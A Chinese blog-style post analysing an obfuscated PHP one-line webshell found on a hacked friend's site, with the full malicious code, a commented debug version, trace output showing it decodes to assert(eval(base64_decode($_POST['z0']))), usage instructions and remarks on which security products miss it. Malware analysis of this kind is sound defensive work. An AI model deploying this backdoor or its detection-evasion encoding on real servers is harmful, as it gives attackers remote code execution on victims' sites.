最近朋友站被频繁挂马、暂未找到寄生虫的寄生位置,貌似是着急处理把寄生虫清理了,没有备份,以前见过一次没有分析,也是各种绕,里面发现了一个一句话木马,真是奇葩、源代码如下:
<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
$k=(($i+2)/2)%strlen($key);
$p=substr($key, $k,1);
if(is_numeric(substr($str, $i,1)))
{
$t=$t.chr(hexdec(substr($str, $i,2))-$p);
}
else
{
$t=$t.chr(hexdec(substr($str, $i,4)));
$i=$i+2;
}
}
return($t);
}
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>
只有想不到的算法,没有做不到的一句话啊,变形一句话现在几百个至少了吧,混合起来估计至少要上千个变异版本,核心的估计也就几百个吧,调试了下一句话的使用,如下:
<?php
function cve($str,$key)
{
$t="";
echo $str.">>".$key."<br>";
for($i=0; $i<strlen($str); $i=$i+2)
{ echo $i." while ";//这里是循环次数
$k=(($i+2)/2)%strlen($key);
echo " ---- ".$k; //这里经过上面算法处理后的,本次(i+2/2)%(字符串长度)
$p=substr($key, $k,1); //取key变量从$k开始,返回1个字符
echo " ---- ".$p; //
if(is_numeric(substr($str, $i,1)))//如果$str字符串在$i的位置返回是数字的话
{
$t=$t.chr(hexdec(substr($str, $i,2))-$p);
echo $t." >>>>>>yes int"."<br>";//$str字符串在$i位置开始返回2个字符转化为10进制数字,然后减去上面的$p,用chr返回对应的ASCII码值
}
else
{
$t=$t.chr(hexdec(substr($str, $i,4)));
$i=$i+2;
echo $t." >>>>>>is no int"."<br>";//如果if判断的不是数字的话走这里,这里和上面一样区别是从$i位置开始返回4个字符并给$i+2,走到这个流程的话每次是4
}
}
echo $t." >>>>>>return>>>>>>".$t."<br>";
return($t);
}
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
//(@$_=assert).@$_(eval(base64_decode($_POST['z0']))); //第一次解密
//assert(eval(base64_decode($_POST['z0']))); //第二次解密
//发现是base64编码的变形马
echo "<br>".base64_encode("phpinfo();")."<br>"; //cGhwaW5mbygpOw==
//只要post发请求 z0=cGhwaW5mbygpOw== 即可使用了这个木马了
//不过这个木马觉得使用者应该会用跳板去中转base64编码,这样一个达到了跳板隐藏的作用,另一个用base64编码桡骨waf
?>
跑起来后运行结果如下:
6A767C687B77>>39
0 while —- 1 —- 9a >>>>>>yes int
2 while —- 0 —- 3as >>>>>>yes int
4 while —- 1 —- 9ass >>>>>>yes int
6 while —- 0 —- 3asse >>>>>>yes int
8 while —- 1 —- 9asser >>>>>>yes int
10 while —- 0 —- 3assert >>>>>>yes int
assert >>>>>>return>>>>>>assert
6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E>>520
0 while —- 1 —- 2e >>>>>>yes int
2 while —- 2 —- 0ev >>>>>>yes int
4 while —- 0 —- 5eva >>>>>>yes int
6 while —- 1 —- 2eval >>>>>>yes int
8 while —- 2 —- 0eval( >>>>>>yes int
10 while —- 0 —- 5eval(b >>>>>>yes int
12 while —- 1 —- 2eval(ba >>>>>>yes int
14 while —- 2 —- 0eval(bas >>>>>>yes int
16 while —- 0 —- 5eval(base >>>>>>yes int
18 while —- 1 —- 2eval(base6 >>>>>>yes int
20 while —- 2 —- 0eval(base64 >>>>>>yes int
22 while —- 0 —- 5eval(base64_ >>>>>>yes int
24 while —- 1 —- 2eval(base64_d >>>>>>yes int
26 while —- 2 —- 0eval(base64_de >>>>>>yes int
28 while —- 0 —- 5eval(base64_dec >>>>>>yes int
30 while —- 1 —- 2eval(base64_deco >>>>>>yes int
32 while —- 2 —- 0eval(base64_decod >>>>>>yes int
34 while —- 0 —- 5eval(base64_decode >>>>>>yes int
36 while —- 1 —- 2eval(base64_decode( >>>>>>yes int
38 while —- 2 —- 0eval(base64_decode($ >>>>>>yes int
40 while —- 0 —- 5eval(base64decode($ >>>>>>yes int
42 while —- 1 —- 2eval(base64_decode($_P >>>>>>yes int
44 while —- 2 —- 0eval(base64_decode($_PO >>>>>>yes int
46 while —- 0 —- 5eval(base64_decode($_POS >>>>>>yes int
48 while —- 1 —- 2eval(base64_decode($_POST >>>>>>yes int
50 while —- 2 —- 0eval(base64_decode($_POST[ >>>>>>yes int
52 while —- 0 —- 5eval(base64_decode($_POST[‘ >>>>>>yes int
54 while —- 1 —- 2eval(base64_decode($_POST[‘z >>>>>>yes int
56 while —- 2 —- 0eval(base64_decode($_POST[‘z0 >>>>>>yes int
58 while —- 0 —- 5eval(base64_decode($_POST[‘z0’ >>>>>>yes int
60 while —- 1 —- 2eval(base64_decode($_POST[‘z0’] >>>>>>yes int
62 while —- 2 —- 0eval(base64_decode($_POST[‘z0’]) >>>>>>yes int
64 while —- 0 —- 5eval(base64_decode($_POST[‘z0’])) >>>>>>yes int
eval(base64_decode($_POST[‘z0’])) >>>>>>return>>>>>>eval(base64_decode($_POST[‘z0’]))
擦,这算法,怎么想到的,再变个函数又一个变形版会诞生,起码这个安全狗可杀了,阿里云的云盾不行,查不到都…